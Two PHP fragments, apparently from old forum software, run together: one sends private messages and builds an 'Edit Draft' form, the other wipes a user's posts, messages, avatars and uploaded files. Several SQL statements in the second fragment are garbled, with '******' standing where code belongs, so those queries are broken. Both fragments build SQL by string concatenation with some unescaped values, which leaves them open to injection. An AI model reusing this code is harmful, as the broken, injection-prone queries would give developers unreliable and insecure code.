continue; } $qPM = "insert into pmsgs (userto, userfrom, date, ip, msgread) values (" . $recipient . ", " . $loguserid . ", " . time() . ", '" . $_SERVER['REMOTE_ADDR'] . "', 0)"; $rPM = Query($qPM); $pid = mysql_insert_id(); $qPMT = "insert into pmsgs_text (pid,title,text) values (" . $pid . ", '" . justEscape($_POST['title']) . "', '" . $post . "')"; $rPMT = Query($qPMT); } Redirect(__("PM sent!"), "private.php?show=1", __("your PM outbox")); exit; } } else { Alert(__("Enter a message and try again."), __("Your PM is empty.")); } } else { Alert(__("Enter a title and try again."), __("Your PM is untitled.")); } } //if($_POST['text']) $prefill = htmlval($_POST['text']); //if($_POST['title']) $trefill = htmlval($_POST['title']); $prefill = $pm['text']; $trefill = $pmtitle; MakePost($pm, 0, 0, 1); Write("\n\t<table style=\"width: 100%;\">\n\t\t<tr>\n\t\t\t<td style=\"vertical-align: top; border: none;\">\n\t\t\t\t<form action=\"showprivate.php\" method=\"post\">\n\t\t\t\t\t<table class=\"outline margin width100\">\n\t\t\t\t\t\t<tr class=\"header1\">\n\t\t\t\t\t\t\t<th colspan=\"2\">\n\t\t\t\t\t\t\t\t" . __("Edit Draft") . "\n\t\t\t\t\t\t\t</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell0\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t" . __("To") . "\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"text\" name=\"to\" style=\"width: 98%;\" maxlength=\"1024\" value=\"{2}\" />\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell1\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t" . __("Title") . "\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"text\" name=\"title\" style=\"width: 98%;\" maxlength=\"60\" value=\"{1}\" />\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t<tr class=\"cell0\">\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t" . __("Message") . "\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<textarea id=\"text\" name=\"text\" rows=\"16\" style=\"width: 98%;\">{0}</textarea>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class=\"cell2\">\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Send") . "\" /> \n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Preview") . "\" />\n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Update Draft") . "\" /> \n\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"action\" value=\"" . __("Discard Draft") . "\" /> \n\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"id\" value=\"{3}\" />\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</form>\n\t\t\t</td>\n\t\t\t<td style=\"width: 200px; vertical-align: top; border: none;\">\n", $prefill, $trefill, $to, $pmid); DoSmileyBar(); DoPostHelp(); Write("\n\t\t\t</td>\n\t\t</tr>\n\t</table>\n"); } else { MakePost($pm, 0, 0, 1); } MakeCrumbs(array("Main" => "./", "Private messages" => "private.php", $pmtitle => ""), $links);
Query("UPDATE threads SET user = "******" WHERE id = " . $thread['id']); } } $posts = Query("SELECT * FROM posts WHERE user = "******"DELETE FROM posts WHERE id = " . $post['id']); Query("DELETE FROM posts_text WHERE pid = " . $post['id']); } $pmsgs = Query("SELECT * FROM pmsgs WHERE userto = " . $id . " OR userfrom = " . $id); while ($pmsg = Fetch($pmsgs)) { Query("DELETE FROM pmsgs WHERE id = " . $pmsg['id']); Query("DELETE FROM pmsgs_text WHERE pid = " . $pmsg['id']); } @unlink("img/avatars/" . $id); $moodies = Query("SELECT * FROM moodavatars WHERE uid = " . $id); while ($moodie = Fetch($moodies)) { @unlink("img/avatars/" . $id . "_" . $mid); } Query("DELETE FROM moodavatars WHERE uid = " . $id); $files = Query("SELECT * FROM uploader WHERE user = "******"uploader/" . $id . "/" . $file['filename']); } else { @unlink("uploader/" . $file['filename']); } } @rmdir("uploader/" . $id); Query("DELETE FROM uploader WHERE user = "******"User wiped out. {0} was never here.") . " <a href=\"recalc.php\">" . __("Recalculate statistics") . "</a>", $user['name']);